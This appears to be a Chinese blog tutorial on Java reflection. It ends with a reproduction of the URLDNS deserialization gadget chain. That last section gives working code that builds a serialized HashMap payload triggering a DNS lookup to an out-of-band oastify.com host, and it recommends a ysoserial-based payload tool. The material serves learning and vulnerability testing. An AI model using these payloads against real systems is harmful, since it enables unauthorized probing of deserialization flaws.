java反射与DNSlog链

反射

在我看来java是反射机制,带来更广的攻击面,比如:获取属性,修改属性值,调用方法之类的,这样就使得利用空间更大了

动态与静态语言

动态语言 就是在运行时可以改变其结构的语言:例如新的函数、对象、甚至代码可以被引进,已有的函数可以被删除或是其他结构上的变化。通俗点说就是在代码运行时代码可以根据某些条件改变自身结构。

静态语言 与动态语言相对应,运行时结构不可变的语言就是静态语言。

Java不是动态语言,但Java可以称之为”准静态语言”。即Java有一定的动态性,我们可以利用反射机制获得类似动态语言的特性。java的动态性让编程的时候更加灵活

反射机制(Reflection)

Reflection(反射)是Java被视为动态语言的关键,反射机制允许程序在执行期借助Reflection API取得任何类的内部信息,并且直接操作任意对象的内部属性及方法、

1
Class c =Class.forName("java.a=lang.String")//需要抛出异常

流程

加载完类以后,在堆内存的方法区中就会产生一个Class类型的对象(一个类只有一个Class对象),这个对象就包含了一个完整的类的结构信息。我们可以通过这个对象看到类的结构。这个对象就像一面镜子,透过这个镜子看到类的结构,所以,我们现象的称之为:反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package reflection;

//什么叫反射
public class day1 {
public static void main(String[] args) throws ClassNotFoundException {
//通过反射获取类的Class对象
Class s1=Class.forName("reflection.test");
System.out.println(s1);
Class s2=Class.forName("reflection.test");
Class s3=Class.forName("reflection.test");

//一个类在内存中只有一个Class对象
//一个了被加载后,类的整个结构都会被封装在Class对象中
System.out.println(s1.hashCode());//1915910607
System.out.println(s2.hashCode());//1915910607
System.out.println(s3.hashCode());//1915910607
}
}

//实体类:pojo entity
class test{
private String name;
public int age;
private int id;

public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
@Override
public String toString() {
return "test{" +
"name='" + name + '\'' +
", age=" + age +
", id=" + id +
'}';
}
}

几种常用获取Class的方法

有三种的形式

1
2
3
Class c =Class.forName("java.a=lang.String")//需要抛出异常 throws ClassNotFoundException
Class c1=person.getClass();
Class c2=类名.class;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package reflection;

public class day2 {
public static void main(String[] args) throws ClassNotFoundException {
Person aa=new student();
System.out.println("this is "+aa.name);

//获取Class的几种方法
//方法一 通过对象获得
Class c1=aa.getClass();
System.out.println("c1.hashCode()="+c1.hashCode());
//方法二 通过forname获得
Class c2=Class.forName("reflection.student");
System.out.println("c2.hashCode()="+c2.hashCode());
//方法3 通过类名.Class获得
Class c3=student.class;
System.out.println("c3.hashCode()="+c3.hashCode());
//方法4 通过内置的 TYPE来获得 有局限
Class c4=Integer.TYPE;
System.out.println(c4);
/*输出
this is student
c1.hashCode()=284720968
c2.hashCode()=284720968
c3.hashCode()=284720968
int
**/
//获得父类类型
Class c5=c1.getSuperclass();
System.out.println(c5);//输出 class reflection.Person
}
}
class Person{
String name;
public Person(String name){
this.name = name;
}
public Person(){
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
'}';
}
}
class teacher extends Person{
public teacher(){
this.name="teacher";
}
}
class student extends Person{
public student(){
this.name="student";
}
}

java类加载内存分析

在Java中的内存分为三个部分,栈 堆 方法区

类的加载过程

类的加载(Load) 类加载器完成将类的class文件读入内存并创建java.lang.Class对象操作。

类的链接(Link) 将类的二进制数据合并进JRE,在合并的过程中可以对类进行校验,检查其是否存在安全问题,是否符合JVM语法规范,接着为类变量(static)分配内存和设置默认初始值,这些内存在方法区中进行分配。最后在虚拟机中将常量名替换为引用地址。

类的初始化(Initialize) JVM对类进行初始化,过程中执行类构造器的方法,此方法是编译期自动收集类中的变量赋值动作和静态代码合并而成的,且虚拟机会保证类构造器的方法会在多线程中被正确的加锁和同步。且在初始化过程中,如果发现类的父类还没有被初始化,则会优先初始化其父类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package reflection;


public class day4 {
public static void main(String[] args) {
A a=new A();
System.out.println(a.q);}
}
class A{
static int q=100;
static{
System.out.println("原来的q="+q);
q=200;
System.out.println("A类静态代码快构造成功"+q);
}
public A() {
q=300;
System.out.println("A的无参构造成功"+q);
}
}
/*
原来的q=100
A类静态代码快构造成功200
A的无参构造成功300
300
*/

会发生类初始化的情况:(类Class的主动引用)

1.虚拟机启动,首先初始化main方法所在的类

2.new一个类对象的时候

3.调用类静态成员(非final)和静态方法

4.使用java.lang.reflect包的方法对类进行反射调用时

5.初始化一个类,如果其父类没有被初始化,则优先初始化其父类

不会发生类初始化(类的被动引用)

1.当访问哪一个静态域时,只有真正声明这个域的类才被初始化

2.通过数组定义类引用时

3.引用常量不会触发初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package reflection;

public class day5 {
static{
System.out.println("main被初始化");
}
public static void main(String[] args) throws ClassNotFoundException {
//1.主动被初始化
//new一个类
//s a=new s();
//输出:main被初始化
// f被初始化
// s被初始化

//反射也会产生主动初始化
//Class.forName("reflection.s");
//main被初始化
//f被初始化
//s被初始化

//子类引用父类的static变量
//System.out.println(s.q);
//main被初始化
//f被初始化
//100

//通过数组定义类引用,不会触发类的初始化
//s[] w=new s[10];
//main被初始化

//引用常量不会触发此类的初始化
System.out.println(s.b);
//main被初始化
//100
}

}
class f{
static{
System.out.println("f被初始化");
}
static int q=100;
}
class s extends f{
static int a=100;
static{
System.out.println("s被初始化");
}
static final int b=100;
}
类加载器

作用将class文件字节码加载到内存,并将这些静态数据转换成方法区的运行时数据结构,然后再生成一个代表这个类的java.lang.class对象,作为方法区中类数据的访问入口

类缓存:标准的JavaSE类加载器可以按要求查找类,但是一旦某个类被加载到类加载器中,它将维持加载(缓存)一段时间,不过JVM垃圾回收机制可以回收这些class对象

三种类型的**类加载器**

引导类加载器:用c++编写的,是JVM自带的类加载器,负责Java平台核心库,用来装载核心类库。该类加载器无法直接获取

扩展类加载器:负责jre/lib/ext目录下的jar包或-D java.ext.dirs 指定目录下的jar包装入工作库

系统类加载器:负责java -classpath 或-D java.class.path所指的目录下的类与jar包装入工作,是最常用的加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package reflection;

public class day6 {
public static void main(String[] args) throws Exception {
//获取系统类的加载器
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
System.out.println(systemClassLoader);//jdk.internal.loader.ClassLoaders$AppClassLoader@36baf30c

//获取系统类加载器的父类加载--》扩展类加载器
ClassLoader parent1=systemClassLoader.getParent();
System.out.println(parent1);//jdk.internal.loader.ClassLoaders$PlatformClassLoader@723279cf

//获取扩展类加载器的父类加载器--》根加载器(C/c++)
ClassLoader parent2=parent1.getParent();
System.out.println(parent2);//null

//测试当前类是哪种加载器加载的
ClassLoader qwe=Class.forName("reflection.day6").getClassLoader();
System.out.println(qwe);//jdk.internal.loader.ClassLoaders$AppClassLoader@36baf30c

//测试JDK内置的类是谁加载的
ClassLoader qwe1=Class.forName("java.lang.Object").getClassLoader();
System.out.println(qwe1);//null

//获取系统类加载器可以加载的路径
System.out.println(System.getProperty("java.class.path"));
//D:\javadm\JavaSE\javajcyf\src\out\production\javajcyf
}
}
获取类的运行时结构

通过反射获取运行时类的完整结构

Field Method Constructor Superclass Interface Annotation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package reflection;


import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

//获得类的信息
public class day7 {
public static void main(String[] args) throws Exception {
Class aa=Class.forName("reflection.test");

//获得类的名字
System.out.println(aa.getName()); //获得包名+类名
System.out.println(aa.getSimpleName()); //获得类名

//获得类的属性
Field[] fields=aa.getFields();//只能获得public属性
for(Field f:fields ){
System.out.println(f);
}

fields=aa.getDeclaredFields(); //找到全部的属性
for(Field f:fields ){
System.out.println(f);
}

//获得指定属性的值
Field name=aa.getDeclaredField("name");
System.out.println(name);

//获得类中的方法
System.out.println("----------------------------");
Method[] methods=aa.getMethods(); //获得本类及其父类的全部方法
for(Method m:methods ){
System.out.println("正常的:"+m);
}
methods=aa.getDeclaredMethods(); //获得本类的所有方法(包括私有方法)
for(Method m:methods ){
System.out.println("getDeclaredMethods:"+m);
}

//获得指定的方法
//后面的参数类型可以用来判断 重载的方法
System.out.println("----------------------------");
Method getname=aa.getMethod("getName");
Method setname=aa.getMethod("setName",String.class);
System.out.println(getname);
System.out.println(setname);

//获得指定的构造器
System.out.println("----------------------------");
Constructor[] constructors=aa.getConstructors();//获得本类的方法
for(Constructor c:constructors ){
System.out.println(c);
}
constructors=aa.getDeclaredConstructors();//获得全部方法
for(Constructor c:constructors ){
System.out.println("##"+c);
}
//获得指定的构造器
Constructor constructor=aa.getConstructor(String.class);
System.out.println(constructor);
}
}

有了Class对象,能做什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package reflection;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

//动态的创建对象,通过反射
public class day8 {
public static void main(String[] args) throws Exception {
//获得Class对象
Class c1=Class.forName("reflection.test");

//创造一个对象
test a=(test)c1.newInstance(); //可以创造对象,本质上调用了无参构造器 如果没有就会报错
System.out.println(a);//test{name='null', age=0, id=0}

//通过构造器创建对象
Constructor c2=c1.getDeclaredConstructor(String.class,int.class);//括号里面为其构造器的参数
Object c3=c2.newInstance("qqqqqq",10); //和上面的用法相同
System.out.println(c3);//test{name='qqqqqq', age=10, id=0}

//通过反射调用普通方法
test a1=(test)c1.newInstance();
Method m1=c1.getDeclaredMethod("setName",String.class); //获得一种方法
m1.invoke(a1,"qwertyui");
System.out.println(a1.getName());//无参方法可以直接调用 输出qwertyui

//通过反射来操作属性
test a2=(test)c1.newInstance();
Field f1=c1.getDeclaredField("age");
//不可以直接操作私有属性,需要我们关闭程序的安全检测,不然会报错
f1.set(a2,10);
System.out.println(a2.getAge());

Field f2=c1.getDeclaredField("name");
f2.setAccessible(true); //通过方法属性或者方法的setAccessible(true)
f2.set(a2,"qqqqqqqqq");
System.out.println(a2.getName()); //输出 qqqqqqqqq
}
}

反射操作泛型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package reflection;

import java.lang.reflect.Method;
import java.lang.reflect.Type;
import java.util.List;
import java.util.Map;

//通过反射来获取泛型
public class day9 {
public void test1(Map<String,test>map, List<String> list){//定义两个泛型参数
System.out.println("test1");
}
public Map<String,test> test2(){
System.out.println("test2");
return null;
}

public static void main(String[] args) throws Exception {
Method a1=day9.class.getMethod("test1",Map.class,List.class);
Type[] generic=a1.getGenericParameterTypes();
for(Type t:generic){
System.out.println(t);
}

}
}

反射获取注解信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package reflection;

import java.lang.annotation.*;
import java.lang.reflect.Field;

public class day10 {
public static void main(String[] args) throws Exception {
Class q=Class.forName("reflection.students");

//通过反射来获取注解
Annotation[] annotations=q.getAnnotations();
for (Annotation annotation : annotations) {
System.out.println(annotation);//@reflection.Tablekuang(name="qwerty")
}

//获得类指定的注解
Field qq=q.getDeclaredField("name");
Annotation w=qq.getAnnotation(Fieldkuang.class);
System.out.println(w);//@reflection.Fieldkuang(age=12, name="string", id=10)
}
}
@Tablekuang(name="qwerty")
class students {
@Fieldkuang(age=12,name="int",id=10)
private int age;
@Fieldkuang(age=12,name="string",id=10)
private String name;
@Fieldkuang(age=12,name="int",id=10)
private int id;

public void setName(String name) {
this.name = name;
}

public void setAge(int age) {
this.age = age;
}

public void setId(int id) {
this.id = id;
}

public int getAge() {
return age;
}
public String getName() {
return name;
}
public int getId() {
return id;
}
}
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@interface Tablekuang{
String name();
}
@Target(ElementType.FIELD)
@Retention(RetentionPolicy.RUNTIME)
@interface Fieldkuang{
String name();
int age();
int id();
}

DNSlog链的复现

dnslog链一般用来测试是否存在序列化漏洞,它最终在序列化时会发送一条dns请求,它对环境很友好,限制较少,所以一般可以通过dnslog链来判断是否存在序列化漏洞

这里介绍一个工具,可以直接生成序列化后的文件,来触发漏洞

deswing 这个工具对ysoserial进行了集成,使得页面可视化,将常见的利用链进行了封装

下载的地址:https://github.com/0ofo/Deswing

使用方法,可以直接点击jar包选择具体的链来进行导出即可

DNSlog的利用流程为:

1
2
3
4
5
6
/*
*HashMap.readObject() //通过反序列化自动调用
*HashMap.putVal()
*HashMap.hash() //这里可以调用到key.hashCode()函数
*URL.hashCode() //这里可以发送一条dns请求
*/

URL类中的hashCode中有一个代码:

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1) //如果不为-1直接返回
return hashCode;

hashCode = handler.hashCode(this);//否则调用函数重写计算了hashCode
return hashCode;
}

跟进hashCode函数

1
InetAddress addr = getHostAddress(u);

这里获取了主机地址,从而发送dns请求,同时URL类是继承了serilized接口,所以,它可以被利用,就开始回推,看哪里可能可以调用URL.hashCode

然后就找到了HashMap类

1
2
3
4
static final int hash(Object key) {
int h; //这里可以调用键的hashCode函数,如果key为URL类的话就可以调用hashCode函数
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

现在就可以去寻找看HashMap中的hash函数在哪里被调用了

这里就发现了在HashMap重写了readObject,并且在readObject中就有关键一步

1
2
3
4
5
6
7
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();//这里将反序列化的键读取
@SuppressWarnings("unchecked")
V value = (V) s.readObject();//这里将反序列化的值读取
putVal(hash(key), key, value, false, false);//这里就调用了hash函数
}

所以在HashMap函数中如果我们将URL类当做一个键传入时,可以做到触发dns请求,但是要注意在序列化之前确保传入的URL的hashcode的值为-1,不然就无法触发hashCode函数,这里就可以通过反射来进行获取,并修改

可能会导致失败的原因就是当java的版本太高可能将无法通过反射来获取和修改私有的属性导致其修改失败,建议在java9之下来做这个实验

具体的操作就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;

public class serialize {//实现序列化的函数
public static void serialized(Object oss)throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(oss);
}
public static Object unserialized(String filename)throws Exception{//实现反序列化的函数
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}

public static void main(String[] args) throws Exception {
URL url = new URL("http://fexmpmw0vs3v4tofkt86osxh98f43vrk.oastify.com");
Field hashCode = URL.class.getDeclaredField("hashCode");//通过反射获得hashCode属性
hashCode.setAccessible(true);
hashCode.setInt(url, 100);
HashMap<URL,Object> map=new HashMap<>();
map.put(url,null);
hashCode.setInt(url, -1);
serialized(map);
unserialized("ser.bin");
}
}